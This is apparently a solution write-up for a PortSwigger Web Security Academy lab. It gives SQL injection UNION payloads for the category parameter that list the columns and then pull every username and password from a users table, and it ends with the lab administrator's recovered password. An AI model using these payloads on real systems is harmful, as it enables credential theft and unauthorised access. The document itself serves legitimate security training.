Lab: SQL injection UNION attack, retrieving data from other tables

tags: Portswigger Web Security Academy Web

• Description: This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine some of the techniques you learned in previous labs.
• Hint: The database contains a different table called users, with columns called username and password. To solve the lab, perform a SQL injection UNION attack that retrieves all usernames and passwords, and use the information to log in as the administrator user.

Exp

1. Using all technique we learned before According to union-based technique we learned before, we can consider there’re 2 columns in this database and both of them are text strings Payload: ?category=Lifestyle' UNION SELECT 'Title name','Post content'--
2. Find the detailed info in users table Payload: ?category=Lifestyle' UNION SELECT username, password FROM users--
3. Login as administrator Username: administrator Password: 5kg73b7jinl9plif82d3 :::spoiler Success Screenshot :::

Reference